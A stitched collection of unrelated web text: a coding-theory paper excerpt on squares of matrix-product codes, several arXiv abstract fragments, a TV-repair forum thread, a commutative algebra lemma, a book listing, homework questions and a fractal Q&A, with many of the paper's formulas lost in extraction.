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Matrix-product structure of constacyclic codes over finite chain rings F_p^m[u]/〈 u^e〉
Let m,e be positive integers, p a prime number, F_p^m be a finite field ...
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High dimensional affine codes whose square has a designed minimum distance
Given a linear code C, its square code C^(2) is the span of all componen...
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Sum-rank product codes and bounds on the minimum distance
The tensor product of one code endowed with the Hamming metric and one e...
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Extended Product and Integrated Interleaved Codes
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1 Introduction
Component-wise or Schur products of linear error-correcting codes have been studied for different purposes during the last decades, from efficient decoding to applications in several different areas within cryptography. Given two linear (over some finite field ) codes of the same length we define the component-wise product of the codes to be the span over of all component-wise products , where .
One of the first applications where component-wise products of codes became relevant concerned error decoding via the notion of error locating pairs [DK94, P92]. An error locating pair for a code is a pair where , and the number of errors the pair is able to correct depends on the dimensions and minimum distances of the codes and their duals. More precisely, it is required that and if we should be able to locate errors.
Later on, the use of component-wise products found several applications in the area of cryptography. For example, some attacks to variants of the McEliece cryptosystem (which relies on the assumption that it is hard to decode a general linear code) use the fact that the dimension of the product tends to be much larger when is a random code than when has certain algebraic structure, which can be used to identify algebraic patterns in certain subcodes of the code defining the cryptosystem, see for instance [COT17, PM17]. A different cryptographic problem where products of codes are useful is private information retrieval, where a client can retrieve data from a set of servers allocating a coded database in such a way that the servers do not learn what data the client has accessed. In [FGHK17] a private information retrieval protocol based on error-correcting codes was shown, where it is desirable to use two linear codes and such that , , and are simultaneously high.
In this work, however, we are more interested in the application of products of codes to the area of secure multiparty computation. The goal of secure multiparty computation is to design protocols which can be used in the situation where a number of parties, each holding some private input, want to jointly compute the output of a function on those inputs, without at any point needing that any party reveals his/her input to anybody. A central component in secure computation protocols is secure multiplication, which different protocols realize in different ways. Several of these protocols require to use an error correcting code whose square has large minimum distance while there are additional conditions on which vary across the different protocols.
For example a well known class of secure computation protocols [BGW88, CCD88, CDM00] relies on the concept of strongly multiplicative secret-sharing scheme formalized in [CDM00]. Such secret-sharing schemes can be constructed from linear codes where the amount of colluding cheating parties that the protocol can tolerate is , where is the dual code to . These two minimum distances are therefore desired to be simultaneously high. For more information about secret sharing and multiparty computation, see for instance [CDN15].
Other more recent protocols have the less stringent requirement that and are simultaneously large. This is the case of the MiniMac [DZ13] protocol, a secure computation protocol to evaluate boolean circuits, and its successor Tinytables [DNNR16]
. In those protocols, the cheating parties have certain probability of being able to disrupt the computation, but this probability is bounded by
, meaning that a high distance on the square will give a higher security. On the other hand, a large relative dimension, or rate, of will reduce the communication cost, so it is desirable to optimize both parameters. A very similar phenomenon occurs in recent work about commitment schemes, which are a building block of many multiparty computation protocols; in fact, when these schemes have a number of additional homomorphic properties and in addition can be composed securely, we can base the entire secure computation protocol on them [FPY18]. Efficient commitment schemes with such properties were constructed in [CDD18] based on binary linear codes, where multiplicative homomorphic properties require again to have a relatively large (see [CDD18, section 4]) and the rate of the code is also desired to be large to reduce the communication overhead.
These applications show the importance of finding linear codes where the minimum distance of the square is large relative to the length of the codes and where some other parameter (in some cases , in others ) is also relatively large. Moreover, it is especially interesting for the applications that the codes are binary, or at least be defined over small fields.
Powers of codes, and more generally products, have been studied in several works such as [C17, CCMZ15, MZ15, R13b, R13a, R15] from different perspectives. In [R13b] an analogous of the Singleton for to and was established, and in [MZ15] it is shown that Reed Solomon codes are essentially the only codes which attain this bound unless some of the parameters are very restricted. However, Reed Solomon codes come with the drawback that the field size must be larger than or equal to the length of the codes. Therefore, finding asymptotically good codes over a fixed small field has also been studied, where in this case asymptotically good means that both and grows linearly with the length of the code . In [R13a] the existence of such a family over the binary field was shown, based on recent results on algebraic function fields. However, it seems like most families of codes do not have this property: in fact, despite the well known fact that random linear codes will, with high probability, be over the Gilbert Varshamov bound, and hence are asymptotically good in the classical sense, this is not the case when we impose the additional restriction that is linear in the length, as it is shown in [CCMZ15]. The main result in [CCMZ15] implies that for a family of random linear codes either the code or the square will be asymptotically bad.
The asymptotical construction from [R13a], despite being very interesting from the theoretical point of view, has the drawbacks that the asymptotics kick in relatively late and moreover, the construction relies on algebraic geometry, which makes it computationally expensive to construct such codes. Motivated by the aforementioned applications to cryptography, [C17] focuses on codes with fixed lengths (but still considerably larger than the size of the field), and constructs cyclic codes with relatively large dimension and minimum distance of their squares. In particular, the parameters of some of these codes are explicitly computed in the binary case.
This provides a limited constellation of parameters that we know that are achievable for the tuple consisting of length of , and . It is then interesting to study what other parameters can be attained, and a natural way to do so is to study how the square operation behaves under known procedures in coding theory that allow to construct new codes from existing codes.
One such construction is matrix-product codes, where several codes can be combined into a new longer code. Matrix-product codes, formalized in [BN01], is a generalization of some previously known code constructions, such as for example the -construction, also known as Plotkin sum. Matrix-product codes have been studied in several works, including [BN01, HLR09, HR10, OS02].
1.1 Results and outline
In this work, we study squares of matrix-product codes. We show that in several cases, the square of a matrix-product code can be also written as a matrix-product code. This allows us to determine new achievable parameters for the squares of codes.
More concretely, we start by introducing matrix-product codes and products of codes in Section 2. Afterwards, we determine the product of two codes when both codes are constructed using the -construction in Section 3. In Section 4, we restrict ourselves to squares of codes and exemplify what parameters we can achieve using cyclic codes in the -construction in order to compare the parameters with the codes from [C17].
At last, in Section 5, we consider other constructions of matrix-product codes. In particular, we consider the case where the defining matrix is Vandermonde, which is especially relevant because such matrix-product codes achieve the best possible minimum distance that one can hope for with this matrix-product strategy. We show that the squares of these codes are again matrix-product codes, and if the constituent codes of the original matrix-product code are denoted , then the ones for the square are all of the form for some . This is especially helpful for determining the parameters if the ’s are for example algebraic geometric codes. We remark that this property also holds for the other constructions we study in this paper, but only when the ’s are nested. Finally, we also study the squares of a matrix-product construction from [BN01] where we can apply the same proof techniques as we have in the other constructions.
2 Preliminaries
Let be the finite field with elements. A linear code is a subspace of . When has dimension , we will call it an code. A generator matrix for a code is a matrix consisting of
basis vectors for
as the rows. The Hamming weight of , denoted , is the number of nonzero entries in and the Hamming distance between is given by . By the linearity of the minimum Hamming distance taken over all pairs of distinct elements in is the same as the minimum Hamming weight taking over all non-zero elements in , and therefore we define the minimum distance of to be . If it is known that (respectively if we know that ) then we call an code (resp. ). We denote by the dual code to , i.e., the vector space given by all elements such that for every , and are orthogonal with respect to the standard inner product in . If is an code then is an code.
We recall the definition and basic properties of matrix-product codes (following [BN01]) and squares of codes.
Definition 2.1 (Matrix-product code):
Let be linear codes and let be a matrix with rank (implying ). Then we define the matrix-product code , as the set of all matrix products , where .
We call the defining matrix and the ’s the constituent codes.
We can consider a codeword , in a matrix-product code, as a matrix of the form
c=⎡⎢ ⎢⎣c11a11+c12a21+⋯+c1sas1⋯c11a1l+c12a2l+⋯+c1sasl⋮⋱⋮cn1a11+cn2a21+⋯+cnsas1⋯cn1a1l+cn2a2l+⋯+cnsasl⎤⎥ ⎥⎦, (1)
using the same notation for the ’s as in the definition. Reading the entries in this matrix in a column-major order, we can also consider as a vector of the form
c=(s∑i=1ai1ci,…,s∑i=1ailci)∈Fnlq. (2)
We sum up some known facts about matrix-product codes in the following proposition.
Proposition 2.2:
Let be linear codes with generator matrices , respectively. Furthermore, let be a matrix with rank and let . Then is an linear code and a generator matrix of is given by
G=⎡⎢ ⎢⎣a11G1⋯a1lG1⋮⋱⋮as1Gs⋯aslGs⎤⎥ ⎥⎦.
We now turn our attention to the minimum distance of . Denote by the matrix consisting of the first rows of and let be the linear code spanned by the rows in . From [OS02], we have the following result on the minimum distance.
Proposition 2.3:
We are making the same assumptions as in Proposition 2.2, and write and . Then the minimum distance of the matrix-product code satisfies
d(C)≥min{D1d1,D2d2,…,Dsds}. (3)
The following corollary is from [HLR09].
Corollary 2.4:
If we additionally assume that , equality occurs in the bound in (3).
The dual of a matrix-product code is also a matrix-product code, if we make some assumptions on the matrix , as it was noted in [BN01].
Proposition 2.5:
Let be a matrix product code. If is an invertible square matrix then
C⊥=[C⊥1,C⊥2,…,C⊥s](A−1)T
Additionally, if is the matrix given by
J=⎡⎢ ⎢ ⎢ ⎢⎣0⋯010⋯10⋮\iddots⋮⋮1⋯00⎤⎥ ⎥ ⎥ ⎥⎦
the dual can be described as
C⊥=[C⊥s,C⊥s−1,…,C⊥1](J(A−1)T).
Notice that with regard to Proposition 2.3 the last expression is often more useful since will often decrease when increases.
Now, we turn our attention to products and squares of codes. We denote by the component-wise product of two vectors. That is, if and , then . With this definition in mind, we define the product of two linear codes.
Definition 2.6 (Component-wise (Schur) products and squares of codes):
Given two linear codes we define their component-wise product, denoted by , as
C∗C′=⟨{c∗c′∣c∈C,c′∈C′}⟩.
The square of a code is .
First note that the length of the product is the same as the length of the original codes. Regarding the other parameters (dimension and minimum distance) we enumerate some known results only in the case of the squares since this will be our primary focus.
If
G=⎡⎢ ⎢ ⎢ ⎢ ⎢⎣g1g2⋮gk⎤⎥ ⎥ ⎥ ⎥ ⎥⎦
is a generator matrix for , then is a generating set for . However, it might not be a basis since some of the vectors might be linearly dependent. If additionally, a submatrix consisting of columns of is the identity, the set consists of linearly independent vectors. Since there is always a generator matrix satisfying this, this implies , where , and .
In most cases, however, is much smaller than . For example, the Singleton bound for squares [R13b] states that (which is much restrictive than the Singleton bound for , which states that ). Additionally, the codes for which have been characterized in [MZ15], where it was shown that essentially only Reed-Solomon codes, certain direct sums of self-dual codes, and some degenerate codes have this property. Furthermore, it is shown in [CCMZ15] that taking a random code with dimension the dimension of will with high probability be . Therefore, often and hence typically .
3 The (u,u+v)-Construction
In this section, we will consider one of the most well-known matrix-product codes, namely the -construction. We obtain this construction when we let
A=[1101]∈F2×2q (4)
be the defining matrix. Note that if then and . This can easily be deduced from Propositions 2.3 and 2.5 by constructing .
In the following theorem, we will determine the product of two codes and when both codes come from the -construction. We will use the notation to denote the smallest linear code containing both and .
Theorem 3.1:
Let be linear codes. Furthermore, let be as in (4) and denote by and by . Then
C∗C′=[C1∗C′1,C1∗C′2+C2∗C′1+C2∗C′2]A.
Proof:
Let be generator matrices for respectively. By Proposition 2.2, we have that
G=[G1G10G2],G′=[G′1G′10G′2]
are generator matrices for and respectively. A generator matrix for can be obtained by making the componentwise products of all the rows in with all the rows in and afterwards removing all linearly dependent rows. We denote by the matrix consisting of all componentwise products of rows in with rows in . Then
G∗G′=⎡⎢ ⎢ ⎢ ⎢⎣G1∗G′1G1∗G′10G1∗G′20G2∗G′10G2∗G′2⎤⎥ ⎥ ⎥ ⎥⎦.
The set of rows in is a generating set for . Hence, by removing linearly dependent rows we obtain a generator matrix of the form
~G=[~G1~G10~G2],
where is a generator matrix for , and for . By using Proposition 2.2 once again, we see that is a generator matrix for the code proving the theorem.
The following corollary consider the square of a code from the -construction, and in the remaining of the paper the focus will be on squares.
Corollary 3.2:
Let be linear codes. Furthermore, let be as in (4) and denote by . Then
C∗2=[C∗21,(C1+C2)∗C2]A,
and we have that
d(C∗2)≥min{2d(C∗21),d((C1+C2)∗C2)}. (5)
C∗2=[C∗21,C1∗C2]A,
and we have that
d(C∗2)=min{2d(C∗21),d(C1∗C2)}. (6)
Proof:
The results follows by setting in Theorem 3.1 implying , and we obtain that
C∗2=[C1∗C1,C1∗C2+C2∗C1+C2∗C2]A=[C∗21,(C1+C2)∗C2]A.
If we have . The bound in (5) follows directly from Proposition 2.3, and (6) follows by Corollary 2.4.
4 Constructions from Binary Cyclic Codes
In this section, we exemplify what parameters we can achieve for and when we use the -construction together with cyclic codes as constituent codes. We start by presenting some basics of cyclic codes.
Cyclic codes are linear codes which are invariant under cyclic shifts. That is, if is a codeword then is as well. We will assume that . A cyclic code of length over is isomorphic to an ideal in generated by a polynomial , where . The isomorphism is given by
c0+c1x+…+cn−1xn−1↦(c0,c1,…,cn−1),
and we notice that a cyclic shift is represented by multiplying by . The cyclic code generated by has dimension . To bound the minimum distance of the code, we introduce the -cyclotomic cosets modulo .
Definition 4.1 (q-cyclotomic coset modulo n):
Let . Then the -cyclotomic coset modulo of is given by
[a]={aqjmodn∣j≥0}.
Now let and for , meaning that is a primitive -th root of unity in an algebraic closure of . Since every root of must be of the form for some . This leads to the following definition which turns out to be useful in describing the parameters of a cyclic code.
Definition 4.2 (Defining and generating set):
Denote by and . Then we call the defining set and the generating set of the cyclic code generated by .
We remark that , implying that is the dimension of the cyclic code generated by . We note that and must be a union of -cyclotomic costes modulo . Now we define the amplitude of as
Amp(I)=min{i∈Z∣∃c∈Z/nZ such that I⊆{c,c+1,…,c+i−1}}.
As a consequence of the BCH-bound, see for example [C17], we have that the minimum distance of the code generated by is greater than or equal to .
Hence, we see that both the dimension and minimum distance depend on , and since is uniquely determined by , we will use the notation to describe the cyclic code generated by . To summarize, we have that is a cyclic linear code with parameters
[n,|I|,≥n−Amp(I)+1]q. (7)
We consider cyclic codes for the -construction, and therefore we will need the following proposition.
Proposition 4.3:
Let and be unions of -cyclotomic cosets, and let and be the corresponding cyclic codes. Then
C(I1)+C(I2) =C(I1∪I2) C(I1)∗C(I2) =C(I1+I2),
where .
We obtain this result by describing the cyclic codes as a subfield subcode of an evaluation code and generalizing Theorem 3.3 in [C17]. The proof of this proposition is very similar to the one in [C17] and can be found in Appendix A. The proposition implies the following corollary.
Corollary 4.4:
Let and be unions of -cyclotomic cosets, and let and be the corresponding cyclic codes. Then is an
[n,|I1+I2|,≥n−Amp(I1+I2)+1]q
cyclic code.
Now, let and be two cyclic codes of length , and let
C=[C(I1),C(I2)][1101]. (8)
Then is a
[2n,|I1|+|I2|,≥min{2(n−Amp(I1)+1),n−Amp(I2)+1}]
linear code. This is in fact a quasi-cyclic code of index , see for instance [HLR09, LF01]. By combining Corollary 3.2 with Proposition 4.3, we obtain that
(9)
And from Propositions 2.2 and 2.3, and Corollary 4.4, we obtain that
dim(C∗2)=|I1+I1|+|I2+(I1∪I2)|,
and
d(C∗2)≥min{2(n−Amp(I1+I1)+1),n−Amp(I2+(I1∪I2))+1)}. (10)
Therefore, it is of interest to find and such that the cardinalities of these sets are relatively large, implying a large dimension of , while at the same time and are relatively small, implying a large minimum distance on the square.
To exemplify what parameters we can obtain we will use some specific cyclic codes from [C17] based on the notion of -restricted weights of cyclotomic cosets introduced in the same article. Let for some and for a number let be its -ary representation, i.e. , where . Then for an the -restricted weight is defined as
w(s)q(t)=maxi∈{0,1,…,r−1}s−1∑j=0ti+j.
We will not go into details about these -restricted weights but we refer the reader to [C17] for more information. However, we remark that [C17] proves that this weight notion satisfies if , and that whenever and are in the same cyclotomic coset. The latter implies that we can talk about the -restricted weight of a cyclotomic coset.
Let denote the union of all cyclotomic cosets modulo with -restricted weights lower than or equal to . Then we can define the code
C=[C(Wr,s,m1),C(Wr,s,m2)][1101],
where we let . From (9) we conclude that
C∗2=[C(Wr,s,m1+Wr,s,m1),C(Wr,s,m1+Wr,s,m2)][1101] (11)
since . It is noted in [C17] that does not hold in general, but the inclusion holds. However, we are able to determine the exact dimension for in (11) by computing for . Additionally, when computed these, we can bound the minimum distance directly from (10). This is what we do in Table 1 for the following choices. We present the parameters for and when setting , , , and .
We make a comparison to the cyclic codes from [C17]. They present codes constructed using the -restricted weight with (Table 1 in [C17]) and using the -restricted weight with (Table 2 in [C17]). Let any one of our new codes from Table 1 have parameters
(n,dim(C),d(C∗2))=(n,k,d∗).
First we compare to Table 1 from [C17], where there always exists a code with length , , and . Hence, our new codes have larger dimension but lower minimum distance for the square compared to these codes, for comparable lengths. On the other hand, in Table 2 from[C17] there is a code with length and (i.e. the dimensions of the codes from [C17] are larger than those in our table). However, the minimum distances of the squares for the codes in [C17] satisfy
d((C′)∗2) ={d∗+1for r=5,6,8,10,11d∗−5for r=7,9.
Thus, even though the dimension of our codes are lower than the ones from Table 2 in [C17], for and we obtain that .
Therefore, our results on matrix-product codes allow us to obtain codes with a different trade-off between and than those from [C17], where we can obtain a larger distance of the square at the expense of reducing the dimension with respect to one of the tables there, and viceversa with respect to the other.
5 Other Matrix-Product Codes
In this section, we consider squares of some other families of matrix-product codes. We start by determining the square of when is a matrix-product code where the defining matrix is Vandermonde.
Theorem 5.1:
Let be linear codes in . Furthermore, let
Vq(s)=⎡⎢ ⎢ ⎢ ⎢ ⎢ ⎢⎣11⋯1α11α12⋯α1q−1⋮⋮⋮αs−11αs−12⋯αs−1q−1⎤⎥ ⎥ ⎥ ⎥ ⎥ ⎥⎦,
where the ’s are distinct nonzero elements in and is some positive integer. Denote by . Then
C∗2=[∑i+j=0Ci∗Cj,∑i+j=1Ci∗Cj,…,∑i+j=~s−1Ci∗Cj]Vq(~s)
where and the sums are modulo .
Proof:
Let be generator matrices of respectively and let be a generator matrix for . Using the same notation as in the proof of Theorem 3.1, contains all rows of the form
(αi+j1Gi∗Gj,…,αi+jqGi∗Gj)
for . Note that if then and hence we can consider modulo . Thus if and we could write the coefficients in front of as for . Removing linearly dependent rows this results in a generator matrix for a matrix-product code of the form
C∗2=[∑i+j=0Ci∗Cj,∑i+j=1Ci∗Cj,…,∑i+j=~s−1Ci∗Cj]Vq(~s), (12)
where again is considered modulo .
As we will show below, the fact that we obtain codes of the form is especially helpful for determining the parameters of in some cases. We remark that the same phenomenon occurs in the case of the construction but only if the codes are nested.
Note also that (the linear code spanned by the first rows of ) is a Reed Solomon code111A Reed-Solomon code is an MDS code meaning that it achieves the highest possible minimum distance for a given length and dimension. Thus the ’s are maximal and hence we obtain the best possible bound for the minimum distance we can hope for using the matrix-product construction. of dimension and hence we have that , for (we remark that we have renumbered the ’s such that it fits better to the properties of the Vandermonde matrix). Hence, if has length and dimension , then is a
[(q−1)n,k0+k1+⋯+ks−1,≥mini∈{0,1,⋯,s−1}{(q−i−1)d(Ci)}]q
linear code, and has minimum distance greater than or equal to
minl∈{0,1,⋯,~s−1}{(q−l−1)d(∑i+j=lCi∗Cj)}. (13)
Even though the expression in (12) may at first sight seem hard to work with, this is not the case if the ’s come from some specific families of codes. For example, Proposition 4.3 tells us that will again be a cyclic code if the ’s are cyclic and we will be able to determine its generating set from the generating sets of the ’s.
Additionally, one could consider the case where the ’s are Reed-Solomon codes or more generally algebraic geometric codes. Let be a formal sum of rational places in a function field over and let where all the ’s and ’s are different. An algebraic geometric code is the evaluation of the elements in the Riemann-Roch space in the places from . It is then known that is contained in and , where . Hence, we can find a lower bound for from (13) using the fact that from the above observations we can find algebraic geometric codes containing where we can control the minimum distance. We exemplify some specific constructions with algebraic geometric codes, more specific Hermitian codes, in the following example.
Example 5.2:
We will not go into details about the Hermitian function field and codes, but we do mention that the Hermitian function field has rational places, where one of these places is the place at infinity. Denote the place at infinity by and the remaining rational places by , for , and let . Then a Hermitian code is given by the algebraic geometric code . This is a code as long as , see for instance [YK92]. Denote by
C(r,s)=[Cr+s−1,Cr+s−2,…,Cr]Vq2(s),
where and . With such a construction we have that
(C(r,s))∗2⊆[C2r+2s−2,C2r+2s−3,…,C2r]Vq2(2s−1)=C(2r,2s−1) (14)
from the observations about algebraic geometric codes above the example. Note that implying that all the Hermitian codes in (14) satisfy that their is lower than . Hence,
d((C(r,s))∗2) ≥mini=0,1…,2s
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What is Asynchronous Transfer Mode (ATM) in Network
/ March 22, 2018
Various network applications are requiring increasingly higher bandwidth and generating a heterogeneous mix of network traffic. Existing networks cannot provide the transport facilities to efficiently support a diversity of traffic with various service requirements. Asynchronous Transfer Mode (ATM) was designed to be potentially capable of supporting heterogeneous traffic (e.g., voice, video, data) in one transmission and switching fabric technology. It promised to provide greater integration of capabilities and services, more flexible access to the network, and more efficient and economical service. Overview of ATM Internet applications have been written in the context of an IP-based network, and do not take advantage at all of the ATM network capabilities since they are hidden by this connectionless IP layer. The provision of Internet applications directly on top of ATM, described here, removes the overhead and the functional redundancies of a protocol layer, and makes it possible to take advantage of the various service categories offered by ATM networks, while maintaining the interworking with the IP-based network. Asynchronous Transfer Mode (ATM) has emerged as the most promising technology in supporting future broadband multimedia communication services. To accelerate the deployment of ATM technology, the ATM Forum, which is a consortium of service providers and…
Insert math as
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# Samsung rear projection TV.
D
#### Dani
Jan 1, 1970
0
Model # HC-P4252W, Chassis # P59A, customer was into the service menu.
He said he psessed a button, while in the service menu, then a single
crosshatch came up with factory
data, then it wouldn't work right after. Now, after repairing the unit
& open resistors, when pressing "self focus", it stops, right after
it starts, & says "check
factory data". How do I undo this! Also, now the "saved" convergence
adjustment in the service menu, "drift". After tv is off a while, the
left, & right sides need to re adjusted manually again. Dani.
A
#### AJ
Jan 1, 1970
0
The DAC is mounted to the Signal board on most of these sets, make certian
you don't have any coolant leakage on the signal board. Also confirm good
quality connections between the DAC and Signal board. The registration data,
once it has been properly saved, should not drift
Z
#### [email protected]
Jan 1, 1970
0
He owes you $200 to get the set back now, tell him it is$400 for the
full job.
Samsungs' service menus are not very friendly, and he probably reset
it to pre-alignment facotry default data. He shouldn't have been in
there. He pays, either that or take your parts out and send him on his
way. If you are an ASC you should have the info to do a full
alignment, if an independent you better have some time on your hands.
Take his money and let him go figure out what he screwed up. The
circuit has been repaired.
On any three CRT based RPTV that has self focus, magic focus, flash
focus or anything of the sort, there are sensors around the screen. As
such, geometry settings are very critical. If he lost those, even if
you are not seeing any major geometry problems, you might have to buy
the overlay to get it right.
JURB
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Leonard Caillouet
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Meat Plow
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Lemma 10.53.6. A ring $R$ is Artinian if and only if it has finite length as a module over itself. Any such ring $R$ is both Artinian and Noetherian, any prime ideal of $R$ is a maximal ideal, and $R$ is equal to the (finite) product of its localizations at its maximal ideals.
Proof. If $R$ has finite length over itself then it satisfies both the ascending chain condition and the descending chain condition for ideals. Hence it is both Noetherian and Artinian. Any Artinian ring is equal to product of its localizations at maximal ideals by Lemmas 10.53.3, 10.53.4, and 10.53.5.
Suppose that $R$ is Artinian. We will show $R$ has finite length over itself. It suffices to exhibit a chain of submodules whose successive quotients have finite length. By what we said above we may assume that $R$ is local, with maximal ideal $\mathfrak m$. By Lemma 10.53.4 we have $\mathfrak m^ n =0$ for some $n$. Consider the sequence $0 = \mathfrak m^ n \subset \mathfrak m^{n-1} \subset \ldots \subset \mathfrak m \subset R$. By Lemma 10.52.6 the length of each subquotient $\mathfrak m^ j/\mathfrak m^{j + 1}$ is the dimension of this as a vector space over $\kappa (\mathfrak m)$. This has to be finite since otherwise we would have an infinite descending chain of sub vector spaces which would correspond to an infinite descending chain of ideals in $R$. $\square$
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New Perspectives in Mathematical Biology
Edited by: Siv Sivaloganathan University of Waterloo, Waterloo, ON, Canada
A co-publication of the AMS and Fields Institute
Available Formats:
Hardcover ISBN: 978-0-8218-4845-6
Product Code: FIC/57
List Price: $88.00 MAA Member Price:$79.20
AMS Member Price: $70.40 Click above image for expanded view New Perspectives in Mathematical Biology Edited by: Siv Sivaloganathan University of Waterloo, Waterloo, ON, Canada A co-publication of the AMS and Fields Institute Available Formats: Hardcover ISBN: 978-0-8218-4845-6 Product Code: FIC/57 List Price:$88.00 MAA Member Price: $79.20 AMS Member Price:$70.40
• Book Details
Fields Institute Communications
Volume: 572010; 134 pp
MSC: Primary 92;
In the 21st century, the interdisciplinary field of mathematical biology and medicine has firmly taken center stage as one of the major themes of modern applied mathematics, with strong links to the empirical biomedical sciences. New Perspectives in Mathematical Biology provides an overview of the distinct variety and diversity of current research in the field. In every chapter of this book, which covers themes ranging from cancer modeling to infectious diseases to orthopaedics and musculoskeletal tissue mechanics, there is clear evidence of the strong connections and interactions of mathematics with the biological and biomedical sciences that have spawned new models and novel insights.
This book is loosely based on the plenary lectures delivered by some of the leading authorities on these subjects at the Society for Mathematical Biology (SMB) Conference that was held in Toronto in 2008 and will be of interest to graduate students, postdoctoral fellows, and researchers currently engaged in this field, bringing the reader to the forefront of current research.
Graduate students and research mathematicians interested in mathematical biology and medicine.
• Chapters
• Herbert Levine, William Loomis and Wouter-Jan Rappel - Eukaryotic chemotaxis and its limitations due to stochastic sensing
• Timothy Secomb, Mark Dewhirst and Axel Pries - Growth and structural adaptation of blood vessels in normal and tumor tissues
• Natalia Komarova - Modeling approaches to studying stem cells in cancer
• Mark Lewis, Martin Krkosek and Marjorie Wonham - Dynamics of emerging wildlife disease
• Yicang Zhou and Hui Cao - Discrete tuberculosis models and their application
• Melissa Knothe Tate, Thomas Falls, Sanjay Mishra and Radhika Atit - Engineering an ecosystem: Taking cues from nature’s paradigm to build tissue in the lab and the body
• Requests
Review Copy – for reviewers who would like to review an AMS book
Accessibility – to request an alternate format of an AMS title
Volume: 572010; 134 pp
MSC: Primary 92;
In the 21st century, the interdisciplinary field of mathematical biology and medicine has firmly taken center stage as one of the major themes of modern applied mathematics, with strong links to the empirical biomedical sciences. New Perspectives in Mathematical Biology provides an overview of the distinct variety and diversity of current research in the field. In every chapter of this book, which covers themes ranging from cancer modeling to infectious diseases to orthopaedics and musculoskeletal tissue mechanics, there is clear evidence of the strong connections and interactions of mathematics with the biological and biomedical sciences that have spawned new models and novel insights.
This book is loosely based on the plenary lectures delivered by some of the leading authorities on these subjects at the Society for Mathematical Biology (SMB) Conference that was held in Toronto in 2008 and will be of interest to graduate students, postdoctoral fellows, and researchers currently engaged in this field, bringing the reader to the forefront of current research.
Graduate students and research mathematicians interested in mathematical biology and medicine.
• Chapters
• Herbert Levine, William Loomis and Wouter-Jan Rappel - Eukaryotic chemotaxis and its limitations due to stochastic sensing
• Timothy Secomb, Mark Dewhirst and Axel Pries - Growth and structural adaptation of blood vessels in normal and tumor tissues
• Natalia Komarova - Modeling approaches to studying stem cells in cancer
• Mark Lewis, Martin Krkosek and Marjorie Wonham - Dynamics of emerging wildlife disease
• Yicang Zhou and Hui Cao - Discrete tuberculosis models and their application
• Melissa Knothe Tate, Thomas Falls, Sanjay Mishra and Radhika Atit - Engineering an ecosystem: Taking cues from nature’s paradigm to build tissue in the lab and the body
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08/05/19
#### If you count 40 wheels of bycicles and trycicles, and there 8 bikes, how many are trycicles?
If you count 40 wheels of bycicles and trycicles, and there 8 bikes, how many are trycicles?
06/08/19
#### A: What are the solutions to the quadratic equation x2+4=0? B: What is the factored form of the quadratic expression x2+4? Select one answer for question A, and select one answer for question B.
A: x=−2 A: x=2i or x=−2i A: x=2i A: x=2 or x=−2 B: (x+2i)(x−2i) B: (x+2)(x+2) B: (x+2i)(x+2i) B: (x+2)(x−2)
#### Since so many letters in French are silent or pronounced differently, what's the best way to learn word pronunciation?
For example, I know that you are NEVER supposed to pronounce the letters ENT at the end of plural verbs, e.g. parlent, chantent, marchent, etc. but you ARE supposed to pronounce them when saying... more
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#### I need help graphing this equation
i don’t understand how to graph this line x-3y=0
12/04/17
#### the length of a rectangle is 3 times its width. The perimeter of the rectangle is 72 centimeters. Find the dimension of the rectangle.
I am stuck on this problem. I tried multiple ways to solve it but I can t figure it out.
05/17/17
#### What is the ordered pair solution for y=22−9x?
No description. Just want to know. Thanks!
05/17/17
#### I don't get it
the sum of a number and negative two is no more than six
01/29/17
#### The length of a rectangle is 4 cm less than twice it's width. It's perimeter is 40 cm. Find its length and width
The length of the rectangle is 4 cm less than twice it's width. It's perimeter is 40 cm. What is the length and width.
07/19/16
#### how to solve for B?
find the equation of the line passing through the pints (2,2) (-3,1) i did the y2-y1/x2-x1 and got y=1/5x+b so now what do i do?
02/03/16
#### help with average rate of change
Can someone help me figure out exactly what steps I am supposed to take here. I am not really sure how to input numbers [0,6] into this equation being the letters are g and t not x and y. Any... more
02/03/16
#### If it costs $3.50 for 2 lb of candy, how much candy can belie chased for$8.75
i am extremely bad with word problems. if I have an equation to use them I'm fine but if I don't I'm confused
02/03/16
#### At speed x a car travels m miles on 5 l fuel... m=30+x-(x^2/100)
At speed x a car travels m miles on 5 l fuel, where m=30+x-(x^2/100) I. Find distance which the car can cover at speeds 30,50 and 70 A: 51, 55, 86 II. Show that the car should travel at 50 for... more
02/01/16
02/01/16
#### Divide using synthetic division: (-2x^3 + 5x^2 - x + 2) ÷ (x + 2)
A: -2x^2 + 9x + 17, R -32 B: -2x^2 + 9x - 19, R 40 C: -2x^2 + 9x - 19, R -36 D: -2x^2 + x + 3, R -4 E: -2x^2 + 9x + 17, R 36
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# Does this Fractal Have a Name?
I was curious whether this fractal(?) is named/famous, or is it just another fractal?
I was playing with the idea of randomness with constraints and the fractal was generated as follows:
1. Draw a point at the center of a square.
2. Randomly choose any two corners of the square and calculate their center.
3. Calculate the center of the last drawn point and this center point of the corners.
4. Draw a new point at this location.
Not sure if this will help because I just made these rules up while in the shower, but sorry I do not have any more information or an equation.
Thank you.
• Where did it come from? Do you have any other information? Maybe an equation? – jdods May 22 '16 at 12:39
• How does one generate this fractal? Also I suppose the fractal isn't what the picture itself represents, but rather some "limit object" we approach when we keep on generating. – Wojowu May 22 '16 at 12:42
• where did you get the picture from? How was it generated? Without this information its impossible to say, although to me it looks like it was generated by some version of the "chaos game" – user140776 May 22 '16 at 12:42
• At first I thought that this is similar to the cayley graph of the free group in two generators, but there's a difference. Considering how easy it is to describe this fractal, I agree there should be a name, but I am not familiar with fractals. – blue May 22 '16 at 12:44
• I just made these rules up while in the shower That gets my upvote :) – 6005 May 23 '16 at 21:15
Your image can be generated using a weighted iterated function system or IFS. Specifically, let \begin{align} f_0(x,y) &= (x/2,y/2), \\ f_1(x,y) &= (x/2+1,y/2), \\ f_2(x,y) &= (x/2,y/2+1), \\ f_3(x,y) &= (x/2-1,y/2), \text{ and } \\ f_4(x,y) &= (x/2,y/2-1). \end{align} Let $(x_0,y_0)$ be the origin and define $(x_n,y_n)$ by a random, recursive procedure: $$(x_n,y_n) = f_i(x_{n-1},y_{n-1}),$$ where $i$ is chosen randomly from $(0,1,2,3,4)$ with probabilities $p_0=1/3$ and $p_i=1/6$ for $i=1,2,3,4$.
If we iterate the procedure $100,000$ times, we generate the following image:
This image is a solid square but the points are not uniformly distributed throughout that square. Technically, this illustrates a self-similar measure on the square.
